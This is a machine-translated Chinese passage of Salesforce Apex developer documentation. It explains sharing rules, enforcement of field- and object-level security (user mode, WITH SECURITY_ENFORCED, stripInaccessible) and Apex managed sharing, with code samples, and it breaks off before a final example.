通过调用执行的 Apex 代码和 Apex 中的 Connect 始终执行 使用当前用户的共享规则。有关 的详细信息,请参阅匿名块。executeAnonymousexecuteAnonymous

Apex 开发人员必须注意不要无意中暴露敏感数据,而这些数据通常会暴露 通过用户权限、字段级安全性或组织范围的默认值对用户隐藏。 他们必须特别小心 Web 服务,这些服务可能会受到权限的限制。 但是,一旦启动,就要在系统上下文中执行。

大多数情况下,系统上下文为系统级操作提供正确的行为 例如需要访问组织中所有数据的触发器和 Web 服务。然而 您还可以指定特定的 Apex 类应强制执行适用的共享规则 到当前用户。

注意

使用关键字强制执行共享规则不会强制执行用户的权限和字段级安全性。Apex 总是有 访问组织中的所有字段和对象,确保代码不会运行失败 因为字段或对象对用户隐藏。with sharing

此示例有两个类,第一个类 () 强制执行共享规则,而第二个类 () 则不强制执行。该类从第一个方法调用一个方法,该方法在强制执行共享规则的情况下运行。该类包含一个内部类,其中代码 在与调用方相同的共享上下文下执行。它还包含一个扩展的类 它,它继承了它的无共享设置。CWithCWithoutCWithoutCWithout

public with sharing class CWith {
  // All code in this class operates with enforced sharing rules.

  Account a = [SELECT . . . ];

  public static void m() { . . . }
  
  static {
    . . .
  }

  {
    . . .
  }

  public void c() {
    . . .
  } 
}

public without sharing class CWithout {
  // All code in this class ignores sharing rules and operates 
  // as if the context user has the Modify All Data permission.
  Account a = [SELECT . . . ];
  . . .

  public static void m() {  
     . . . 

    // This call into CWith operates with enforced sharing rules
    // for the context user. When the call finishes, the code execution 
    // returns to without sharing mode.
    CWith.m();
  }


  public class CInner {
    // All code in this class executes with the same sharing context
    // as the code that calls it. 
    // Inner classes are separate from outer classes.
    . . .

    // Again, this call into CWith operates with enforced sharing rules
    // for the context user, regardless of the class that initially called this inner class.
    // When the call finishes, the code execution returns to the sharing mode that was used to call this inner class.
    CWith.m();
  }

  public class CInnerWithOut extends CWithout {
    // All code in this class ignores sharing rules because
    // this class extends a parent class that ignores sharing rules.
  }
}

警告

因为声明为 的类可以调用声明为 的类,您可能仍然必须实现类级安全性。此外,所有 使用 Pricebook2 的 SOQL 和 SOSL 查询将忽略该关键字。无论应用的共享如何,都将返回所有价目表 规则。with sharingwithout sharingwith sharing强制执行当前用户的共享规则可能会影响:

  • SOQL 和 SOSL 查询。查询返回的行数可能少于在系统中操作的行数 上下文。
  • DML 操作。操作可能会失败,因为当前用户没有正确的 权限。例如,如果用户指定了 组织,但当前用户无权访问。

强制执行对象和字段权限

Apex 通常在系统上下文中运行;即当前用户的权限和 在代码执行过程中不考虑字段级安全性。共享 但是,规则并不总是被绕过:必须使用关键字声明类,以确保 不强制执行共享规则。与调用一起执行的 Apex 代码,并且始终在 Apex 中连接 使用当前用户的共享规则执行。有关 的详细信息,请参阅匿名块。without sharingexecuteAnonymousexecuteAnonymous

要强制运行用户的字段级安全性 (FLS) 和对象权限,请您 可以指定数据库操作的用户模式访问权限。请参阅对数据库操作强制使用用户模式。你 还可以使用 WITH SECURITY_ENFORCED在 SOQL 查询中强制执行这些权限。 有关详细信息,请参阅使用 WITH SECURITY_ENFORCED筛选 SOQL 查询。

还可以通过显式方式在代码中强制实施对象级和字段级权限 调用 sObject describe 结果方法(Schema.DescribeSObjectResult)和字段 describe 结果方法(Schema.DescribeFieldResult),用于检查 当前用户的访问权限级别。这样,您可以验证当前用户是否 具有必要的权限,并且只有当他或她具有足够的权限时,您才能 ,然后执行特定的 DML 操作或查询。

例如,您可以调用 、 或 方法来验证 当前用户分别具有对 sObject 的读取、创建或更新访问权限。同样,暴露这些 您可以调用这些方法检查当前用户的 read、create、or 更新字段的访问权限。此外,还可以调用 提供的方法来检查当前用户是否具有权限 删除特定的 sObject。isAccessibleisCreateableisUpdateableSchema.DescribeSObjectResultSchema.DescribeFieldResultisDeletableSchema.DescribeSObjectResult

这些示例调用访问控制方法。在更新之前检查联系人电子邮件字段的字段级更新权限 它:

if (Schema.sObjectType.Contact.fields.Email.isUpdateable()) {
   // Update contact phone number
}

要在创建 新增功能 联系:

if (Schema.sObjectType.Contact.fields.Email.isCreateable()) {
   // Create new contact
}

在查询之前检查联系人电子邮件字段的字段级读取权限 这 田:

if (Schema.sObjectType.Contact.fields.Email.isAccessible()) {
   Contact c = [SELECT Email FROM Contact WHERE Id= :Id];
}

要在删除 联系:

if (Schema.sObjectType.Contact.isDeletable()) {
   // Delete contact
}

共享规则不同于对象级和字段级权限。他们可以 共存。如果在 Salesforce 中定义了共享规则,则可以在课堂上强制执行这些规则 level 通过使用关键字声明类。有关更多信息,请参阅使用共享关键字、不共享关键字和继承共享关键字。如果调用 sObject 描述结果和字段 描述结果访问控制方法,对象和字段级别的验证 除了有效的共享规则之外,还会执行权限。有时 共享规则授予的访问级别可能与对象级别或 字段级权限。with sharing

考虑

  • 启用了 Experience Cloud 站点的组织提供了各种设置来隐藏 对其他用户提供用户的个人信息(请参阅对外部隐藏个人信息 用户并在内共享个人联系信息 Experience Cloud 站点)。即使在 Apex 中也不会强制执行这些设置 具有子句或方法等安全功能。隐藏用户的特定字段 对象,请按照遵守用户个人中概述的示例代码进行操作 信息可见性设置。WITH SECURITY_ENFORCEDstripInaccessible
  • 自动化流程用户无法在自定义代码中执行对象和 FLS 检查 除非将适当的权限集显式应用于这些用户。

对数据库操作强制实施用户模式

您可以在用户模式下运行数据库操作,而不是在默认系统模式下运行 通过使用带有特殊关键字的 SOQL 或 SOSL 查询或使用 DML 方法 重载。

默认情况下,Apex 代码在系统模式下运行,这意味着它以实质 提升了对运行代码的用户的权限。增强 Apex,您可以为数据库操作指定用户模式访问。字段级安全性 (FLS) 和正在运行的用户的对象权限在用户模式下受到尊重,这与 系统模式。用户模式始终应用共享规则,但在系统模式下,它们 通过在类上共享关键字来控制。请参阅使用有共享、无共享和继承共享关键字。您可以通过使用 或 在您的 SOQL 或 SOSL 查询。此示例在 SOQL 中指定用户模式。

WITH USER_MODEWITH SYSTEM_MODE

List<Account> acc = [SELECT Id FROM Account WITH USER_MODE];

注意

此功能在启用了该功能的临时组织中可用。如果未启用该功能, 具有此功能的 Apex 代码可以编译,但不能执行。ApexUserModeWithPermset

Salesforce 建议您通过使用而不是因为这些额外的优势来强制实施字段级安全性 (FLS)。WITH USER_MODEWITH SECURITY-ENFORCED

  • WITH USER_MODE考虑多态字段 like 和 .OwnerTask.whatId
  • WITH USER_MODE处理 SOQL 语句中的所有子句,包括子句。SELECTWHERE
  • WITH USER_MODE查找 SOQL 中的所有 FLS 错误 查询,而只查找 第一个错误。此外,在用户模式下,可以使用 QueryException 上的方法检查完整的 访问错误集。WITH SECURITY ENFORCEDgetInaccessibleFields()

数据库操作可以指定用户模式或系统模式。本示例插入一个新的 用户中的帐户 模式。

Account acc = new Account(Name='test');
insert as user acc;

该类表示 哪个 Apex 运行数据库操作。使用此类将执行模式定义为 user 模式或系统模式。数据库中的可选参数 和 搜索方法 指定该方法是在系统模式 () 还是用户模式 () 下运行。使用这些重载方法可以 执行 DML 和查询操作。AccessLevelaccessLevelAccessLevel.SYSTEM_MODEAccessLevel.USER_MODE

  • Database.query 方法。请参阅动态 SOQL。
  • Database.getQueryLocator 方法
  • Database.countQuery 方法
  • Search.query 方法
  • 数据库 DML 方法(insert update upsert merge delete undelete convertLead)
    • 包括 和 方法,例如 和 。*Immediate*AsyncinsertImmediatedeleteAsync

注意

当数据库 DML 方法与 一起运行时,您可以通过 访问错误。使用 ,您可以使用该方法通过 FLS 获取字段 错误。AccessLevel.USER_MODESaveResult.getErrors().getFields()insert as userDMLExceptiongetFieldNames()

这些方法需要该参数。accessLevel

  • Database.queryWithBinds
  • Database.getQueryLocatorWithBinds
  • Database.countQueryWithBinds

使用权限集在 DML 和搜索操作中强制实施安全性(开发人员 预览)

在开发者预览版中,您可以指定用于扩充字段级别的权限集 以及数据库和搜索操作的对象级安全性。使用 指定的权限集 ID。 执行的特定用户模式 DML 操作 有了这个,请尊重 除了运行用户的权限外,还设置了指定的权限集。AccessLevel.withPermissionSetId()AccessLevel此示例运行该方法 具有指定的权限集并插入自定义 对象。

AccessLevel.withPermissionSetId()

@isTest
public with sharing class ElevateUserModeOperations_Test {
    @isTest
    static void objectCreatePermViaPermissionSet() {
        Profile p = [SELECT Id FROM Profile WHERE Name='Minimum Access - Salesforce'];
        User u = new User(Alias = 'standt', Email='standarduser@testorg.com',
            EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
            LocaleSidKey='en_US', ProfileId = p.Id,
            TimeZoneSidKey='America/Los_Angeles',
            UserName='standarduser' + DateTime.now().getTime() + '@testorg.com');

        System.runAs(u) {
            try { 
                Database.insert(new Account(name='foo'), AccessLevel.User_mode); 
                Assert.fail(); 
            } catch (SecurityException ex) { 
                Assert.isTrue(ex.getMessage().contains('Account'));
            }
            //Get ID of previously created permission set named 'AllowCreateToAccount'
            Id permissionSetId = [Select Id from PermissionSet 
                where Name = 'AllowCreateToAccount' limit 1].Id;

            Database.insert(new Account(name='foo'), AccessLevel.User_mode.withPermissionSetId(permissionSetId)); 

            // The elevated access level is not persisted to subsequent operations
            try { 
                Database.insert(new Account(name='foo2'), AccessLevel.User_mode); 
                Assert.fail(); 
            } catch (SecurityException ex) { 
                Assert.isTrue(ex.getMessage().contains('Account')); 
            } 
            
        } 
    } 
}

注意

Checkmarx,AppExchange Security Review 源代码 扫描仪,尚未使用此新的 Apex 功能进行更新。在更新之前, Checkmarx可以针对现场或对象级安全违规行为生成误报 需要异常文档。

使用 stripInaccessible 方法强制实施安全性

使用该方法强制执行 字段级和对象级数据保护。此方法可用于剥离字段和 用户无法访问的查询和子查询结果中的关系字段。该方法可以 也用于在 DML 操作之前删除无法访问的 sObject 字段,以避免异常和 清理已从不受信任的来源反序列化的 sObject。

stripInaccessible

重要

在可能的情况下,我们更改了非包容性条款,以与我们公司保持一致 平等的价值。我们保留了某些条款,以避免对客户产生任何影响 实现。

字段级和对象级数据保护可通过 Security 和 SObjectAccessDecision 类进行访问。访问检查是 基于当前用户在指定上下文中的字段级权限 操作 – 创建、读取、更新或更新插入。Security.stripInaccessible() 方法检查源代码 不符合当前用户的字段级安全检查的字段的记录。这 方法还检查源记录中查找或主从关系字段到的字段 当前用户无权访问。该方法创建 sObjects 的返回列表,该列表是 与源记录相同,只是当前无法访问的字段 用户被删除。该方法返回的 sObject 包含的记录与方法参数中的 sObject 顺序相同。getRecordssourceRecordsstripInaccessible

作为开发人员预览版功能,将权限集 ID 作为参数并强制执行 根据指定的权限集进行字段级和对象级访问,此外 运行用户的权限。Security.stripInaccessible()

注意

该方法永远不会剥离 ID 字段,以避免在对结果执行 DML 时出现问题。stripInaccessible

要识别已删除的不可访问字段,可以使用 SObject.isSet() 方法。例如,返回列表 包含 Contact 对象和无法访问social_security_number__c自定义字段 用户。由于此自定义字段未通过字段级访问检查,因此未设置该字段 并返回 .isSetfalse

SObjectAccessDecision securityDecision = Security.stripInaccessible(AccessType.READABLE, sourceRecords);
Contact c = securityDecision.getRecords()[0];
System.debug(c.isSet('social_security_number__c')); // prints "false"

注意

该方法不支持 AggregateResult SObject。如果源记录为 AggregateResult SObject 类型,则 引发异常。stripInaccessible

对 User 对象强制执行对象和字段权限并隐藏 具有 Experience Cloud 站点的组织中其他用户的用户个人信息,请参阅强制执行对象和字段权限。

以下是可以使用该方法的一些示例。stripInaccessible

此示例代码从查询结果中删除无法访问的字段。展示台 对于广告系列数据,必须始终显示 . 必须仅向具有 读取该字段的权限。

BudgetedCostActualCost

SObjectAccessDecision securityDecision = 
         Security.stripInaccessible(AccessType.READABLE,
                 [SELECT Name, BudgetedCost, ActualCost FROM Campaign]                 );

    // Construct the output table
    if (securityDecision.getRemovedFields().get('Campaign').contains('ActualCost')) {
        for (Campaign c : securityDecision.getRecords()) {
        //System.debug Output: Name, BudgetedCost
        }
    } else {
        for (Campaign c : securityDecision.getRecords()) {
        //System.debug Output: Name, BudgetedCost, ActualCost
        }
}

此示例代码从子查询结果中删除不可访问的字段。用户 无权读取 接触 对象。

Phone

List<Account> accountsWithContacts =
	[SELECT Id, Name, Phone,
	    (SELECT Id, LastName, Phone FROM Account.Contacts)
	FROM Account];
  
   // Strip fields that are not readable
   SObjectAccessDecision decision = Security.stripInaccessible(
	                                   AccessType.READABLE,
	                                   accountsWithContacts);
 
// Print stripped records
   for (Integer i = 0; i < accountsWithContacts.size(); i++) 
  {
      System.debug('Insecure record access: '+accountsWithContacts[i]);
      System.debug('Secure record access: '+decision.getRecords()[i]);
   }
 
// Print modified indexes
   System.debug('Records modified by stripInaccessible: '+decision.getModifiedIndexes());
 
// Print removed fields
   System.debug('Fields removed by stripInaccessible: '+decision.getRemovedFields());

此示例代码在 DML 操作之前从 sObject 中删除不可访问的字段。这 无权为帐户创建评级的用户仍然可以创建帐户。 该方法确保未设置 Rating,并且不会引发异常。

List<Account> newAccounts = new List<Account>();
Account a = new Account(Name='Acme Corporation');
Account b = new Account(Name='Blaze Comics', Rating=’Warm’);
newAccounts.add(a);
newAccounts.add(b);

SObjectAccessDecision securityDecision = Security.stripInaccessible(
                                         AccessType.CREATABLE, newAccounts);

// No exceptions are thrown and no rating is set
insert securityDecision.getRecords();

System.debug(securityDecision.getRemovedFields().get('Account')); // Prints "Rating"
System.debug(securityDecision.getModifiedIndexes()); // Prints "1"

此示例代码清理已从不受信任的 sObject 反序列化的 sObject 源。用户无权更新 帐户。

AnnualRevenue

String jsonInput =
'[' +
'{' +
'"Name": "InGen",' +
'"AnnualRevenue": "100"' +
'},' +
'{' +
'"Name": "Octan"' +
'}' +
']';

List<Account> accounts = (List<Account>)JSON.deserializeStrict(jsonInput, List<Account>.class);
SObjectAccessDecision securityDecision = Security.stripInaccessible(
                                         AccessType.UPDATABLE, accounts);

// Secure update
update securityDecision.getRecords(); // Doesn’t update AnnualRevenue field
System.debug(String.join(securityDecision.getRemovedFields().get('Account'), ', ')); // Prints "AnnualRevenue"
System.debug(String.join(securityDecision.getModifiedIndexes(), ', ')); // Prints "0”

此示例代码从查询结果中删除不可访问的关系字段。这 用户无权插入字段,该字段是从 MyCustomObject__c 到 帐户。

Account__c

// Account__c is a lookup from MyCustomObject__c to Account
@IsTest
   public class TestCustomObjectLookupStripped {
      @IsTest static void caseCustomObjectStripped() {
         Account a = new Account(Name='foo');
         insert a;
         List<MyCustomObject__c> records = new List<MyCustomObject__c>{
            new MyCustomObject__c(Name='Custom0', Account__c=a.id)
         };
         insert records;
         records = [SELECT Id, Account__c FROM MyCustomObject__c];
         SObjectAccessDecision securityDecision = Security.stripInaccessible
                                                  (AccessType.READABLE, records);
         
         // Verify stripped records
         System.assertEquals(1, securityDecision.getRecords().size());
         for (SObject strippedRecord : securityDecision.getRecords()) {
             System.debug('Id should be set as Id fields are ignored: ' + 
                           strippedRecord.isSet('Id')); // prints true
             System.debug('Lookup field FLS is not READABLE to running user, 
                           should not be set: ' +
                           strippedRecord.isSet('Account__c')); // prints false
         }
      }
   }

使用 WITH SECURITY_ENFORCED筛选 SOQL 查询

使用子句启用 对 Apex 代码中的查询(包括子查询和跨对象)进行字段级和对象级安全权限检查 关系。

WITH SECURITY_ENFORCEDSOQL SELECT

Apex 通常在系统上下文中运行;即当前用户的权限和 在代码执行过程中不考虑字段级安全性。共享规则, 但是,并不总是被绕过:必须使用关键字声明类,以确保共享 不强制执行规则。尽管执行字段和对象级安全检查是 在早期版本中,此子句可能大大减少了冗长和技术性 查询操作的复杂性。此功能专为 Apex 开发人员量身定制,他们拥有最少的 具有安全性和优雅降级的应用程序的开发经验 权限错误不是必需的。without sharing

注意

该条款仅 在 Apex 中可用。我们不建议在 Apex 类或触发器中使用早于 API 的版本 45.0.WITH SECURITY_ENFORCEDWITH SECURITY_ENFORCED

WITH SECURITY_ENFORCED应用字段和 对象级安全检查仅对 SOQL 子句中引用的字段和对象进行检查 而不是像 或 这样的子句。换言之,安全性是针对查询返回的内容强制实施的,而不是针对进入的所有元素 运行查询。SELECTFROMWHEREORDER BYSOQL SELECT插入子句:

WITH SECURITY_ENFORCED

  • 如果存在,则在子句之后,否则在子句之后。WHEREFROM
  • 在任何 、 、 或聚合函数之前 第。ORDER BYLIMITOFFSET

有关查询的详细信息,请参阅 SOQL 和 SOSL 中的 SOQL SELECT 语法 参考。

SOQL SELECT例如,如果用户具有 LastName 的字段访问权限,则此查询将返回 Id 和 LastName 用于 Acme 帐户条目。

List<Account> act1 = [SELECT Id, (SELECT LastName FROM Contacts)
   FROM Account WHERE Name like 'Acme' WITH SECURITY_ENFORCED]

使用 查询多态查找字段时存在一些限制。多态场是关系 可以指向多个实体的字段。

WITH SECURITY_ENFORCED

  • 在使用 的查询中不支持遍历多态字段的关系。例如,您不能在此查询中使用 返回 User 和 Calendar 实体的 Id 和 Owner 名称:。WITH SECURITY_ENFORCEDWITH SECURITY_ENFORCEDSELECT Id, What.Name FROM Event WHERE What.Type IN (’User’,’Calendar’)
  • 在使用 的查询中不支持将表达式与子句一起使用。 在 SELECT 查询中用于指定要为 给定多态关系的类型。例如,不能在此查询中使用。查询 指定要为 Account 和 Opportunity 对象返回的某些字段,以及 Name 和 要为所有其他对象返回的电子邮件字段。TYPEOFELSEWITH SECURITY_ENFORCEDTYPEOFWITH SECURITY_ENFORCEDSELECT TYPE OF What WHEN Account THEN Phone WHEN Opportunity THEN Amount ELSE Name,Email END FROM Event
  • 、 和 多态查找字段不受此限制,并且允许多态 关系遍历。OwnerCreatedByLastModifiedBy
  • 对于 AppExchange Security Review,在使用 时必须使用 API 版本 48.0 或更高版本。不能使用 API 该功能处于测试版或试点阶段的版本。WITH SECURITY_ENFORCED

如果查询中引用的任何字段或对象无法访问 用户,a 被抛出,没有 返回数据。SOQL SELECTWITH SECURITY_ENFORCEDSystem.QueryException

对 User 对象强制实施对象和字段权限并隐藏用户的个人 来自具有 Experience Cloud 站点的组织中其他用户的信息,请参阅强制执行对象和字段权限。

如果隐藏了 LastName 或 Description 的字段访问权限,则此查询将引发 指示权限不足的异常。

List<Account> act1 = [SELECT Id, (SELECT LastName FROM Contacts), 
   (SELECT Description FROM Opportunities)
   FROM Account WITH SECURITY_ENFORCED]

如果“网站”的字段访问处于隐藏状态,则此查询将引发异常,指示 权限不足。

List<Account> act2 = [SELECT Id, parent.Name, parent.Website 
   FROM Account WITH SECURITY_ENFORCED]

如果隐藏了 Type 的字段访问,则此聚合函数查询将引发异常 表示权限不足。

List<AggregateResult> agr1 = [SELECT GROUPING(Type) 
   FROM Opportunity WITH SECURITY_ENFORCED 
   GROUP BY Type]

类安全性

您可以指定哪些用户可以根据其 用户配置文件或权限集。您只能在 Apex 类上设置安全性,而不能在触发器上设置安全性。

要从类列表页面设置 Apex 类安全性,请参阅从类列表设置 Apex 类访问权限 页

要从类详细信息页面设置 Apex 类安全性,请参阅从类列表中设置 Apex 类访问权限 页

要从权限集设置 Apex 类安全性,请执行以下操作:

  1. 在“设置”中,输入“快速” “查找”框,然后选择“权限集”。Permission Sets
  2. 选择权限集。
  3. 单击 Apex 类访问
  4. 单击编辑
  5. 从“可用的 Apex 类”列表中选择要启用的 Apex 类,然后 单击“添加”,或从 “已启用 Apex 类”列表,然后单击“删除”。
  6. 点击保存

要从配置文件设置 Apex 类安全性,请执行以下操作:

  1. 在“设置”中,在“快速查找”框中输入, ,然后选择配置文件Profiles
  2. 选择配置文件。
  3. 在“Apex 类访问”页面或相关列表中,单击“编辑”。
  4. 从“可用的 Apex 类”列表中选择要启用的 Apex 类,然后 单击“添加”,或从 “已启用 Apex 类”列表,然后单击“删除”。
  5. 点击保存

了解 Apex 托管共享

共享是授予用户或用户组权限的行为 对一条记录或一组记录执行一组操作。可以使用以下命令授予共享访问权限 Salesforce 用户界面和 Lightning Platform,或以编程方式使用 顶点。

有关共享的详细信息,请参阅设置内部组织范围的共享 Salesforce 联机帮助中的默认值。

  • 了解共享 共享
    支持对所有自定义对象以及许多标准对象(如客户、联系人、商机和案例)进行记录级访问控制。管理员首先设置对象的组织范围默认共享访问级别,然后根据记录所有权、角色层次结构、共享规则和手动共享授予其他访问权限。然后,开发人员可以使用 Apex 托管共享以编程方式授予 Apex 的额外访问权限。
  • 使用 Apex 共享记录
  • 重新计算 Apex 托管共享

了解共享

共享支持对所有自定义对象进行记录级访问控制,因为 以及许多标准对象(例如 Account、Contact、Opportunity 和 Case)。 管理员首先设置对象的组织范围默认共享访问级别, 然后根据记录所有权、角色层次结构、共享授予其他访问权限 规则和手动共享。然后,开发人员可以使用 Apex 托管共享来授予其他 使用 Apex 以编程方式访问。

记录的大多数共享都维护在相关的共享对象中,类似于访问 在其他平台中找到的控制列表 (ACL)。

共享类型

Salesforce 具有以下类型的共享:托管共享托管共享涉及 Lightning 平台授予的共享访问权限 基于记录所有权、角色层次结构和共享规则:记录所有权每条记录都由一个用户拥有,或者由一个队列(可选)拥有 自定义对象、案例和潜在客户。记录 所有者被自动授予完全访问权限, 允许他们查看、编辑、传输、共享和删除 记录。角色层次结构角色层次结构允许上述用户 层次结构中的另一个用户具有相同级别的 访问以下用户拥有或与用户共享的记录。 因此,角色中高于记录所有者的用户 层次结构也被隐式授予对 记录,但可以禁用此行为 特定的自定义对象。角色层次结构不是 通过共享记录进行维护。相反,角色层次结构 访问是在运行时派生的。有关更多信息,请参阅 。 “使用层次结构控制访问”中的 Salesforce 联机帮助。共享规则管理员使用共享规则来 自动授予给定组或角色中的用户权限 访问特定用户组拥有的记录。无法将共享规则添加到 package,不能用于支持共享逻辑 对于从 AppExchange 安装的应用程序。

共享 规则可以基于记录所有权或其他 标准。您不能使用 Apex 创建 基于条件的共享规则。此外,基于标准 无法使用 Apex 测试共享。

Force.com 托管共享添加的所有隐式共享都不能是 使用 Salesforce 用户界面、SOAP API 直接更改,或者 顶点。用户管理共享,也称为手动共享用户管理的共享允许记录所有者或具有“完整”的任何用户 访问记录以与用户或用户组共享记录。 对于单个记录,这通常由最终用户完成。只有 授予记录所有者和角色层次结构中所有者之上的用户 对记录的完全访问权限。无法授予其他用户“完全”权限 访问。具有“全部修改”对象级别的用户 给定对象或“修改所有数据”的权限 权限也可以手动共享记录。用户管理的共享是 当记录所有者发生更改或在 共享不会授予对象以外的其他访问权限 组织范围的共享默认访问级别。Apex 托管共享Apex 托管共享使开发人员能够支持 以编程方式满足应用程序的特定共享要求 通过 Apex 或 SOAP API。这种类型的 共享类似于托管共享。仅限具有 “修改所有数据”权限可以添加或更改 Apex 记录上的托管共享。维护 Apex 托管共享 跨记录所有者更改。

注意

Apex 共享原因和 Apex 托管 共享重新计算仅适用于自定义对象。

分享原因 田

在 Salesforce 用户界面,自定义对象上的“原因”字段 指定用于记录的共享类型。此字段在 Apex 或 API 中调用。rowCause每个 以下列表项是一种用于记录的共享类型。这些表显示“原因”字段值和相关值。

rowCause

  • 托管共享Reason Field ValuerowCause Value (Used in Apex or the API)Account SharingImplicitChildAssociated record owner or sharingImplicitParentOwnerOwnerOpportunity TeamTeamSharing RuleRule区域分配规则TerritoryRule
  • 用户管理共享原因字段价值rowCause值(在 Apex 或 API 中使用)手动共享Manual领地手册TerritoryManual注意使用企业 API 版本 45.0 及更高版本中的 Territory Management 取代了 .Territory2AssociationManualTerritoryManual
  • Apex 托管共享原因字段价值rowCause值(在 Apex 或 API 中使用)由开发人员定义由开发人员定义

Apex 托管共享的显示原因由 开发 人员。

访问 水平

在确定用户对 记录,则使用最宽松的访问级别。大多数共享对象都支持 以下访问级别:

访问级别API 名称描述
私人没有只有记录所有者和记录所有者之上的用户 角色层次结构可以查看和编辑记录。仅限此访问级别 应用于 AccountShare 对象。
只读指定的用户或组只能查看记录。
读/写编辑指定的用户或组可以查看和编辑记录。
完全访问权限指定的用户或组可以查看、编辑、传输、共享和 删除记录。注意此访问级别只能授予 托管共享。

分享注意事项

Apex 触发器和用户记录共享如果触发器更改了记录的所有者,则正在运行的用户必须已读取 如果触发器是通过 以后:

  • 应用程序接口
  • 标准用户界面
  • 标准 Visualforce 控制器
  • 使用关键字定义的类with sharing

如果触发器是通过未使用关键字定义的类启动的,则触发器将在 系统模式。在这种情况下,触发器不需要正在运行的用户 具有特定访问权限。with sharing

使用 Apex 共享记录

重要

在可能的情况下,我们更改了非包容性条款,以符合我们的 平等的公司价值观。我们保留了某些条款,以避免对 客户实施。

若要以编程方式访问共享,必须使用与 要共享的标准对象或自定义对象。例如,AccountShare 是 Account 对象的共享对象,ContactShare 是 Contact 对象。此外,所有自定义对象共享对象的命名方式如下: 其中 是自定义对象的名称:MyCustomObject

MyCustomObject__Share

主从关系的细节端的对象没有关联的 共享对象。明细记录的访问权限由主节点的 共享对象和关系的共享设置。有关更多信息,请参阅 。 Salesforce 联机帮助中的“自定义对象安全性”。

共享对象包括支持所有三种共享类型的记录:托管共享、 用户托管共享和 Apex 托管共享。隐式授予用户的共享 通过组织范围的默认值、角色层次结构和权限,例如 给定的“查看全部”和“全部修改”权限 对象,“查看所有数据”和“修改所有数据”不是 使用此对象进行跟踪。

每个共享对象都具有以下属性:

属性名称描述
objectNameAccessLevel已授予指定用户或组的访问级别 用于共享 sObject。属性的名称将追加到对象 名字。例如,LeadShare 对象的属性名称为 。有效值为:AccessLevelLeadShareAccessLevelEditReadAll注意访问级别 是内部值,不能授予。All此字段必须是 设置为高于组织的访问级别 父对象的默认访问级别。有关详细信息,请参阅了解共享。
ParentID对象的 ID。此字段无法更新。
RowCause向用户或组授予访问权限的原因。原因 确定共享类型,控制谁可以更改共享 记录。此字段无法更新。
UserOrGroupId要向其授予访问权限的用户或组 ID。组可以是:与角色关联的公共组或共享组。区域组。此字段无法更新。注意您无法授予对 使用 Apex 的未经身份验证的来宾用户。

您可以与用户或组共享标准或自定义对象。更多信息 有关可以与之共享对象的用户和组的类型,请参阅对象参考中的“用户和组” Salesforce的。

使用创建用户管理的共享 顶点

可以使用 Apex 或 SOAP 手动将记录共享给用户或组 应用程序接口。如果记录的所有者发生更改,则会自动删除共享。这 以下示例类包含一个共享作业指定的作业的方法 具有指定用户 ID 的 ID 或具有读取访问权限的组 ID。它还包括一个测试 验证此方法的方法。在保存此示例类之前,请创建一个 名为 Job 的自定义对象。

注意

默认情况下,使用 Apex 编写的手动共享包含。只 当所有权发生更改时,将删除具有此条件的共享。RowCause=”Manual”

public class JobSharing {
   
   public static boolean manualShareRead(Id recordId, Id userOrGroupId){
      // Create new sharing object for the custom object Job.
      Job__Share jobShr  = new Job__Share();
   
      // Set the ID of record being shared.
      jobShr.ParentId = recordId;
        
      // Set the ID of user or group being granted access.
      jobShr.UserOrGroupId = userOrGroupId;
        
      // Set the access level.
      jobShr.AccessLevel = 'Read';
        
      // Set rowCause to 'manual' for manual sharing.
      // This line can be omitted as 'manual' is the default value for sharing objects.
      jobShr.RowCause = Schema.Job__Share.RowCause.Manual;
        
      // Insert the sharing record and capture the save result. 
      // The false parameter allows for partial processing if multiple records passed 
      // into the operation.
      Database.SaveResult sr = Database.insert(jobShr,false);

      // Process the save results.
      if(sr.isSuccess()){
         // Indicates success
         return true;
      }
      else {
         // Get first save result error.
         Database.Error err = sr.getErrors()[0];
         
         // Check if the error is related to trival access level.
         // Access level must be more permissive than the object's default.
         // These sharing records are not required and thus an insert exception is acceptable. 
         if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION  &&  
                  err.getMessage().contains('AccessLevel')){
            // Indicates success.
            return true;
         }
         else{
            // Indicates failure.
            return false;
         }
       }
   }
   
}
@isTest
private class JobSharingTest {
   // Test for the manualShareRead method
   static testMethod void testManualShareRead(){
      // Select users for the test.
      List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2];
      Id User1Id = users[0].Id;
      Id User2Id = users[1].Id;
   
      // Create new job.
      Job__c j = new Job__c();
      j.Name = 'Test Job';
      j.OwnerId = user1Id;
      insert j;    
                
      // Insert manual share for user who is not record owner.
      System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), true);
   
      // Query job sharing records.
      List<Job__Share> jShrs = [SELECT Id, UserOrGroupId, AccessLevel, 
         RowCause FROM job__share WHERE ParentId = :j.Id AND UserOrGroupId= :user2Id];
      
      // Test for only one manual share on job.
      System.assertEquals(jShrs.size(), 1, 'Set the object\'s sharing model to Private.');
      
      // Test attributes of manual share.
      System.assertEquals(jShrs[0].AccessLevel, 'Read');
      System.assertEquals(jShrs[0].RowCause, 'Manual');
      System.assertEquals(jShrs[0].UserOrGroupId, user2Id);
      
      // Test invalid job Id.
      delete j;   
   
      // Insert manual share for deleted job id. 
      System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), false);
   }  
}

重要

对象的组织范围默认值 访问级别不得设置为最宽松的访问级别。对于定制 对象,此级别为公共读/写。有关详细信息,请参阅了解共享。

创建 Apex 托管共享

Apex 托管共享使开发人员能够以编程方式操作共享,以 通过 Apex 或 SOAP API 支持其应用程序的行为。此类型 的共享类似于托管共享。仅具有“全部修改”的用户 “数据”权限可以在记录上添加或更改 Apex 托管共享。顶点 在记录所有者更改后保留托管共享。

Apex 托管共享必须使用 Apex 共享原因Apex 共享原因是开发人员的一种方式 跟踪他们与用户或用户组共享记录的原因。使用多个 Apex 共享原因简化了进行更新和 删除共享记录。它们还使开发人员能够与相同的 用户或组多次使用不同的原因。Apex 共享原因在对象的详细信息页面上定义。每个 Apex 共享原因 具有标签和名称:

  • 查看时,标签将显示在“原因”列中 用户界面中记录的共享。此标签允许用户和 管理员了解共享的来源。标签也是 启用通过 Translation Workbench 进行翻译。
  • 在 API 和 Apex 中引用原因时,将使用该名称。

所有 Apex 共享原因名称都采用以下格式:

MyReasonName__c

Apex 共享原因可以通过编程方式引用为 遵循:

Schema.CustomObject__Share.rowCause.SharingReason__c

例如,对于名为 Job 的对象,名为 Recruiter 的 Apex 共享原因可以是 引用为 遵循:

